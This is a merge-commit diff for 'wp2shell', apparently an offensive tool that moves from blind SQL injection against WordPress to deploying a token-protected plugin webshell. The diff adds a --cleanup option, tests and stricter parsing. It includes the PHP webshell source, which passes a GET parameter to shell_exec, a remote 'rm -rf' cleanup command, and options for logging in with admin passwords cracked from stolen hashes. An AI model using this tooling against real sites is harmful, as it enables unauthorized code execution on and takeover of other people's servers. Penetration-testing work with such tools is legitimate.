Merge pull request #1 from mosajjal/fix/webshell-cleanup

Fix webshell cleanup and CLI behavior

README.md

@@ -113,13 +113,14 @@ plaintext here after offline cracking.
 ```
 
 `shell` uploads a plugin webshell (locked behind a random path and a per-run token) and prints its
-path. Remove it when finished.
+path. Remove it when finished — either pass `--cleanup` to have it delete itself after running, or
+delete the plugin manually.
 
 ## Options
 
 | Option              | Applies to | Description                                                           |
 | ------------------- | ---------- | -------------------------------------------------------------------- |
-| `--rest-route`      | all        | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks).  |
+| `--rest-route`      | check, read | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). |
 | `--proxy URL`       | all        | Route traffic through an HTTP proxy (for example, Burp).             |
 | `--timeout N`       | all        | Request timeout in seconds.                                          |
 | `--sleep N`         | check      | Delay used with `--confirm-sqli`.                                    |
@@ -132,6 +133,7 @@ path. Remove it when finished.
 | `--user` / `--password` | shell  | Admin credentials (plaintext, recovered from the hash).             |
 | `--cmd`             | shell      | Command to run (omit when using `-i`).                              |
 | `-i` / `--interactive` | shell   | Open an interactive shell after deploying.                           |
+| `--cleanup`         | shell      | Delete the webshell from the target when finished.                   |
 
 ## Remediation
 

tests/test_cli.py

@@ -0,0 +1,86 @@
+import contextlib
+import io
+import unittest
+from unittest import mock
+
+from wp2shell import cli
+
+
+class ShellCommandTests(unittest.TestCase):
+    def test_cleanup_runs_when_command_execution_raises(self):
+        class FakeSession:
+            instance = None
+
+            def __init__(self, *args, **kwargs):
+                self.cleaned = False
+                type(self).instance = self
+
+            def login(self, username, password):
+                return True
+
+            def deploy_webshell(self):
+                return "/wp-content/plugins/wp2shell_test/wp2shell_test.php"
+
+            def run(self, path, command):
+                raise OSError("connection dropped")
+
+            def cleanup(self, path):
+                self.cleaned = True
+                return True
+
+        with mock.patch.object(cli, "AdminSession", FakeSession):
+            rc = cli.main(
+                [
+                    "shell",
+                    "http://target",
+                    "--user",
+                    "admin",
+                    "--password",
+                    "password",
+                    "--cmd",
+                    "id",
+                    "--cleanup",
+                ]
+            )
+
+        self.assertEqual(rc, 1)
+        self.assertTrue(FakeSession.instance.cleaned)
+
+    def test_keep_and_cleanup_are_mutually_exclusive(self):
+        parser = cli.build_parser()
+        with contextlib.redirect_stderr(io.StringIO()), self.assertRaises(SystemExit):
+            parser.parse_args(
+                [
+                    "shell",
+                    "http://target",
+                    "--user",
+                    "admin",
+                    "--password",
+                    "password",
+                    "--cmd",
+                    "id",
+                    "--keep",
+                    "--cleanup",
+                ]
+            )
+
+    def test_rest_route_is_not_a_shell_option(self):
+        parser = cli.build_parser()
+        with contextlib.redirect_stderr(io.StringIO()), self.assertRaises(SystemExit):
+            parser.parse_args(
+                [
+                    "shell",
+                    "http://target",
+                    "--user",
+                    "admin",
+                    "--password",
+                    "password",
+                    "--cmd",
+                    "id",
+                    "--rest-route",
+                ]
+            )
+
+
+if __name__ == "__main__":
+    unittest.main()

tests/test_shell.py

@@ -0,0 +1,37 @@
+import io
+import unittest
+import urllib.error
+import zipfile
+from unittest import mock
+
+from wp2shell.shell import AdminSession
+
+
+class AdminSessionTests(unittest.TestCase):
+    def test_webshell_changes_to_its_plugin_directory(self):
+        session = AdminSession("http://target")
+        with zipfile.ZipFile(io.BytesIO(session._plugin_zip())) as archive:
+            php = archive.read(f"{session._slug}/{session._slug}.php").decode()
+
+        self.assertIn("chdir(__DIR__);", php)
+
+    def test_cleanup_confirms_a_missing_webshell(self):
+        session = AdminSession("http://target")
+        session.run = mock.Mock(return_value="")
+        session._get = mock.Mock(
+            side_effect=urllib.error.HTTPError("http://target/shell", 404, "missing", {}, None)
+        )
+
+        self.assertTrue(session.cleanup("/shell"))
+        command = session.run.call_args.args[1]
+        self.assertIn("*/wp-content/plugins/*", command)
+
+    def test_cleanup_handles_a_request_failure(self):
+        session = AdminSession("http://target")
+        session.run = mock.Mock(side_effect=OSError("connection dropped"))
+
+        self.assertFalse(session.cleanup("/shell"))
+
+
+if __name__ == "__main__":
+    unittest.main()

tests/test_sqli.py

@@ -0,0 +1,23 @@
+import unittest
+from unittest import mock
+
+from wp2shell.sqli import BlindSQLi
+
+
+class BlindSQLiIntegerTests(unittest.TestCase):
+    def test_integer_rejects_failed_extraction(self):
+        sqli = BlindSQLi(mock.Mock())
+        sqli.extract = mock.Mock(return_value="")
+
+        with self.assertRaisesRegex(ValueError, "expected an integer"):
+            sqli.integer("SELECT COUNT(*)")
+
+    def test_integer_accepts_signed_values(self):
+        sqli = BlindSQLi(mock.Mock())
+        sqli.extract = mock.Mock(return_value=" -12 ")
+
+        self.assertEqual(sqli.integer("SELECT -12"), -12)
+
+
+if __name__ == "__main__":
+    unittest.main()

wp2shell/cli.py

@@ -247,6 +247,7 @@ def cmd_shell(args: argparse.Namespace) -> int:
     good(f"Webshell: {args.url.rstrip('/')}{path}")
 
     rc = 0
+    try:
         if args.cmd:
             output = session.run(path, args.cmd)
             if output is None:
@@ -259,8 +260,21 @@ def cmd_shell(args: argparse.Namespace) -> int:
 
         if args.interactive:
             _repl(session, path)
-
-    if not args.keep:
+    finally:
+        if args.cleanup:
+            info("Cleaning up webshell...")
+            try:
+                removed = session.cleanup(path)
+            except Exception as exc:  # noqa: BLE001 - cleanup must not hide the original failure
+                bad(f"Cleanup failed ({exc}) — remove the plugin manually ({path}).")
+                rc = 1
+            else:
+                if removed:
+                    good("Webshell removed from the target.")
+                else:
+                    bad(f"Cleanup failed — remove the plugin manually ({path}).")
+                    rc = 1
+        elif not args.keep:
             warn(f"Remove the webshell when finished (delete {path} on the target).")
     return rc
 
@@ -268,8 +282,9 @@ def cmd_shell(args: argparse.Namespace) -> int:
 # -- parser -----------------------------------------------------------------
 
 
-def _add_common(parser: argparse.ArgumentParser) -> None:
+def _add_common(parser: argparse.ArgumentParser, *, rest_route: bool = True) -> None:
     parser.add_argument("url", help="target base URL, e.g. http://target")
+    if rest_route:
         parser.add_argument(
             "--rest-route",
             action="store_true",
@@ -323,13 +338,17 @@ def build_parser() -> argparse.ArgumentParser:
     read.set_defaults(func=cmd_read)
 
     shell = sub.add_parser("shell", help="post-auth plugin webshell helper")
-    _add_common(shell)
+    _add_common(shell, rest_route=False)  # shell uses wp-login/wp-admin directly, not the REST API
     shell.add_argument("--user", required=True, help="admin username")
     shell.add_argument("--password", required=True, help="admin password (cracked from the hash)")
     shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)")
     shell.add_argument("-i", "--interactive", action="store_true",
                        help="open an interactive shell after deploying")
-    shell.add_argument("--keep", action="store_true", help="do not warn about removing the webshell")
+    retention = shell.add_mutually_exclusive_group()
+    retention.add_argument("--keep", action="store_true",
+                           help="do not warn about removing the webshell")
+    retention.add_argument("--cleanup", action="store_true",
+                           help="delete the webshell from the target when finished")
     shell.set_defaults(func=cmd_shell)
 
     return parser

wp2shell/shell.py

@@ -10,6 +10,7 @@ import http.cookiejar
 import io
 import re
 import secrets
+import urllib.error
 import urllib.parse
 import urllib.request
 import uuid
@@ -79,6 +80,30 @@ class AdminSession:
         match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S)
         return match.group(1) if match else None
 
+    def cleanup(self, shell_path: str) -> bool:
+        """Delete the webshell plugin directory from the target (best effort).
+
+        The generated webshell changes to its own plugin directory before
+        executing commands. The case guard refuses to delete anything that does
+        not look like a plugins directory. A subsequent 404 confirms removal.
+        """
+        try:
+            out = self.run(
+                shell_path,
+                'd=$(pwd); case "$d" in */wp-content/plugins/*) cd / && rm -rf "$d";; esac',
+            )
+        except OSError:
+            return False
+        if out is None:
+            return False
+        try:
+            self._get(shell_path)
+        except urllib.error.HTTPError as exc:
+            return exc.code == 404
+        except OSError:
+            return False
+        return False
+
     # -- helpers ------------------------------------------------------------
 
     def _get(self, path: str) -> str:
@@ -97,6 +122,7 @@ class AdminSession:
         php = (
             "<?php\n"
             "/*\nPlugin Name: wp2shell\nDescription: PoC webshell. Delete after testing.\n*/\n"
+            "chdir(__DIR__);\n"
             f"if (hash_equals('{self._token}', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {{\n"
             f"    echo '{_MARKER}::' . shell_exec((string) $_GET['c']) . '::END';\n"
             "}\n"

wp2shell/sqli.py

@@ -103,9 +103,15 @@ class BlindSQLi:
         return "".join(chars)
 
     def integer(self, expression: str) -> int:
-        """Read an integer-valued SQL expression."""
+        """Read an integer-valued SQL expression.
+
+        Raises ValueError when the extracted text is not an integer, so a
+        failed extraction cannot be mistaken for a real count of zero.
+        """
         text = self.extract(expression).strip()
-        return int(text) if text.lstrip("-").isdigit() else 0
+        if not text.lstrip("-").isdigit():
+            raise ValueError(f"expected an integer from {expression!r}, got {text!r}")
+        return int(text)
 
     def _elapsed(self, sql: str) -> float:
         self.requests += 1